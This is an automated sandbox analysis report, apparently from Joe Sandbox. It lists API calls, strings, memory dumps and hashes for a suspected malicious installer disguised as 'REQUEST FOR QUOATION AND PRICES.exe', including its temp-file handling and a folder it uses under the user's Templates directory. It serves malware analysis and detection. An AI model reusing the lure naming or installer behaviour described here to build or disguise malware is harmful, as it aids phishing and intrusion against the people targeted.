SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

M, xrefs: 00404CBA
N, xrefs: 00404D9B
, xrefs: 004050C9

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3
Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405780
\*.*, xrefs: 004057DD
"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe", xrefs: 0040577B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"$C:\Users\user~1\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3361064684
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,771B2EE0,00405792,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004020FB

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet
API String ID: 542301482-632512459
Opcode ID: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user~1\AppData\Local\Temp\,771B3420,00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user~1\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05
_Nb, xrefs: 00403A38, 00403AA0
RichEdit, xrefs: 00403B0F
RichEd20, xrefs: 00403AE8
Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
RichEd32, xrefs: 00403AF3
1033, xrefs: 004038D4, 00403930
.exe, xrefs: 004039C2
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004038C0
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe", xrefs: 004038B7
RichEdit20W, xrefs: 00403B00, 00403B06
.DEFAULT\Control Panel\International, xrefs: 00403920

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1878157874
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
soft, xrefs: 00402EAC
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
Error launching installer, xrefs: 00402E0C
Inst, xrefs: 00402EA3
"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe", xrefs: 00402DC5
C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Null, xrefs: 00402EB5
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
